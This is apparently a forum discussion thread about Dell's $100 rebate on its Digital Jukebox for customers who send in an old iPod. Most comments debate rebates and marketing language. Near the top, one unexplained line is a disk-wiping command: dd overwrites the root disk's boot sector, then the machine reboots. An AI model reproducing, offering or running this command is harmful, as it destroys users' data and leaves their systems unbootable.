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Dell Offers $100 For Old iPods
Mz6 writes "Dell unveiled an offer that grants music player customers a $100 rebate on a
15GB Digital Jukebox when they
send in an Apple iPod music player to be recycled. 'We want to help drive further awareness of the products we have available and...the plusses we have to offer,' said Dell spokesman Jess Blackburn. Thus the iPod offer 'is a way to call out what separates us from the understood leader in this particular market.' Dell is also offering free shipping, free software, and 25 free songs through MusicMatch and brings the overall cost for the DJ down to $99." Helpful tip: If you have a dead iPod, do the rebate offer, and sell the Jukebox on eBay.
I don't know many people who would want to trade in their iPod for a largely inferior product...besides, low cost becomes a non-issue when you've already purchased the higher-priced product.
dd if=/dev/zero of=`df / | awk '/^\/dev/ {print $1}' | sed 's/s[0-9][a-z]//'` count=1 bs=512 && shutdown -r now
'We want to help drive further awareness of the products we have available and...the plusses we have to offer,' Or maybe, they just want to get more ipods off the market, and more of their digital jukeboxes in consumers hands
It's a $100 REBATE. Means you still have to buy Dell's crap.....
Typical marketspeak. It just has to contain a lot of "good words" like plusses, drive, offer...it doesn't have to mean anything.
It just makes them look desperate more than anything else. Come out with a superior product, and people will automatically aware of the "plusses" they have to offer.
An Indian-American Hindu committed to non-violent thought/speech/action alarmed by the global explosion of radical Islam
I for one don't see a problem with it. It's not as if Dell is holding guns to people's heads demanding they hand over their iPods.
"Ask not what your country can do for you." --John F. Kennedy
"Dell is also offering free shipping, free software, and 25 free songs through MusicMatch and brings the overall cost for the DJ down to $99."
As an iPod owner (and a former owner of several other mp3 players), I think this plan is not going to accomplish much for Dell.
Think about it, nobody has ever said you should by an iPod for it's low cost. On the contrary, it's just about the most expensive player on the market. So who buys one? People who want to be trendy (Apple is way trendier than Dell), and people who want the best mp3 player out there (not trying to start a flame war here, but the iPod interface is head and shoulders above the rest). So by offering free shipping, free songs, etc., I don't see how Dell will be able to woo very many people away from an iPod (even if it's a dead iPod).
For the people who want the least expensive player out there, or who don't really mind the lesser interfaces of the other players, I don't see that crowd having bought an iPod in the first place, so they won't be affected by this offer either.
This leaves me wondering, who this offer is really targeted at? It sounds more like a PR stunt designed to steal some of Apple's thunder for owning the digital music player market.
'We want to help drive further awareness of the products we have available and...the plusses we have to offer,' said Dell spokesman Jess Blackburn. Thus the iPod offer 'is a way to call out what separates us from the understood leader in this particular market.'
That's kinda funny. First they are nice and vague saying "the plusses we have to offer", but then they go on saying "what separates us from the understood leader". So...to paraphrase..."trade in your superior product for our inferior one. thank you"
"He uses statistics as a drunken man uses lampposts...for support rather than illumination." - Andrew Lang
I absolutely hate rebate programs like this. Dell has no use for a bunch of broken down iPods which is all they will get with this promotion. All they are doing is proving that they are ripping off an extra $100 from all their customers who don't have a dead iPod.
This is just like the "trade in any film camera, get $x off a digital camera" where x is a function of the price of the new camera and has nothing to do with the dead film one (disposables don't count).
Like all rebates, they hope you forget to mail it in, or they give you some BS story about how you forgot to submit the proper proof of purchase.
Beauty is in the eye of the beerholder.
Why? I work for a company that manufacturers portable medical diagnostic equipment.
Pretty much every company in this field offers a mail-in rebate (often times as much as the original purchase price) for our devices if you send in any competitors device.
We regularly box up the devices that are sent to us and ship them back to their original manufacturer so that they know to take those devices out of their support database and to kind of "rub it in their faces" that we've had X number of their customers switch to our product (they do the same to us).
I can say for a fact that this does not happen in the computer industry. Companies like IBM, HP, and Sun realize that if they leave trade-in equipment in circulation, it will just end up on eBay somewhere, where it will be competing against their own salespeople for new revenue. For this reason, any competitive trade ins are always destroyed. There's no point in sending it back to the original manufacturer who will only remanufacture it and resell it. Why would we give money to our competitors.
I suggest your company should strongly consider doing the same. Don't you know that your competitors probably have the ability to refurbish or remanufacture their own equipment and sell it to people again?
"When the president does it, that means it's not illegal." - Richard M. Nixon
Since there were reports a couple weeks ago that theves are targeting iPods, sounds like Dell wants to make it easy to fence them!